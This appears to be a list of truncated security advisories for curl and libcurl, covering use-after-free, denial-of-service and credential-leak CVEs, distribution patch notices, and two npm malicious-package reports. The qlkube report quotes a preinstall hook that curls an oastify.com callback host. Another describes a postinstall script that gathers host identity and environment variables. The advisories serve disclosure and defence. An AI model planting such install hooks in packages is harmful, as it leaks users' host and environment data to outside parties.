SUSE CVE-2026-9080

Calling curleasypause within the event-based CURLMOPTSOCKETFUNCTION callback triggers a use-after-free vulnerability, where libcurl attempts to store a flag using a dangling struct pointer immediately after that pointer's memory has been freed...

SUSE CVE-2026-11352

An issue in curl's QUIC UDP receive function allows a malicious HTTP/3 server to trigger a remote denial of service against a curl or libcurl client. Because the helper function discards zero-length UDP datagrams before counting them toward the per-call packet budget, a connected QUIC peer can...

SUSE CVE-2026-11586

By default, curl automatically responds to WebSocket PING frames. Because curl lacks an upper bound on memory allocation for unacknowledged frames, a malicious server can exhaust all available memory by flooding curl with rapid, sequential PING messages...

SUSE CVE-2026-11856

Successfully using libcurl to do a transfer to a specific HTTP origin hostA with Digest authentication and then changing the origin to a different one hostB for a second transfer, reusing the same handle, makes libcurl wrongly pass on the Authorization: header field meant for hostA, to hostB...

EulerOS 2.0 SP12 : curl (EulerOS-SA-2026-2523)

According to the versions of the curl packages installed, the EulerOS installation on the remote host is affected by the following vulnerabilities : Using libcurl, when a custom Host: header is first set for an HTTP request and a second request is subsequently done using the same easy handle but...

Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 24.04 LTS / 26.04 LTS : curl vulnerabilities (USN-8525-1)

The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 24.04 LTS / 26.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-8525-1 advisory. Harry Sintonen discovered that curl incorrectly handled credentials when following HTTP...

USN-8525-1: curl vulnerabilities

Harry Sintonen discovered that curl incorrectly handled credentials when following HTTP redirects in conjunction with .netrc files. An attacker could possibly use this issue to obtain sensitive information. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS...

USN-8525-1 curl vulnerabilities

Harry Sintonen discovered that curl incorrectly handled credentials when following HTTP redirects in conjunction with .netrc files. An attacker could possibly use this issue to obtain sensitive information. This issue only affected Ubuntu 14.04 LTS, Ubuntu 16.04 LTS, and Ubuntu 18.04 LTS...

Malicious code in vybscan-testbed-inert-postinstall (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f4e6f35e49b7701bb75a88eb63fcf918c389272d5282093c8422d9e1f388dd38 package.json declares a postinstall lifecycle script that runs id and reads the process environment, piping the collected host identity and environme...

MAL-2026-10016 Malicious code in qlkube (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 51bbdab9d33c291290e2f871acd2ebf7bf64c2c66c5124592055669771b6301e The package's package.json declares a preinstall lifecycle script that runs curl https://cwcie03pzedo62twgbs3x6e9l0rsfk39.oastify.com on npm install...

ROOT-OS-DEBIAN-12-CVE-2026-3784 CVE-2026-3784 in rootio-curl - Patched by Root

Root has patched CVE-2026-3784 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2026-5773 CVE-2026-5773 in rootio-curl - Patched by Root

Root has patched CVE-2026-5773 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2025-10148 CVE-2025-10148 in rootio-curl - Patched by Root

Root has patched CVE-2025-10148 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2025-14524 CVE-2025-14524 in rootio-curl - Patched by Root

Root has patched CVE-2025-14524 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2026-7168 CVE-2026-7168 in rootio-curl - Patched by Root

Root has patched CVE-2026-7168 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2025-14819 CVE-2025-14819 in rootio-curl - Patched by Root

Root has patched CVE-2025-14819 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

ROOT-OS-DEBIAN-12-CVE-2026-3783 CVE-2026-3783 in rootio-curl - Patched by Root

Root has patched CVE-2026-3783 in the rootio-curl package for Root:Debian:12. Multiple fixed versions available...

OPENSUSE-SU-2026:11230-1 curl-8.21.0-1.1 on GA media

These are all security issues fixed in the curl-8.21.0-1.1 package on the GA media of openSUSE Tumbleweed...

CVE-2026-11564

A flaw was found in curl. When libcurl reuses a connection from its connection pool, an easy handle that initially used default native Certificate Authority CA trust may continue to trust the native platform store. This occurs even after the application has switched that same handle to custom CA...

CVE-2026-10536

A flaw was found in libcurl. This use-after-free vulnerability occurs when an application configures an HTTP/2 stream-dependency tree and then performs a sequence of operations involving curleasyreset and curleasycleanup. During the final cleanup, libcurl attempts to access memory that has alread...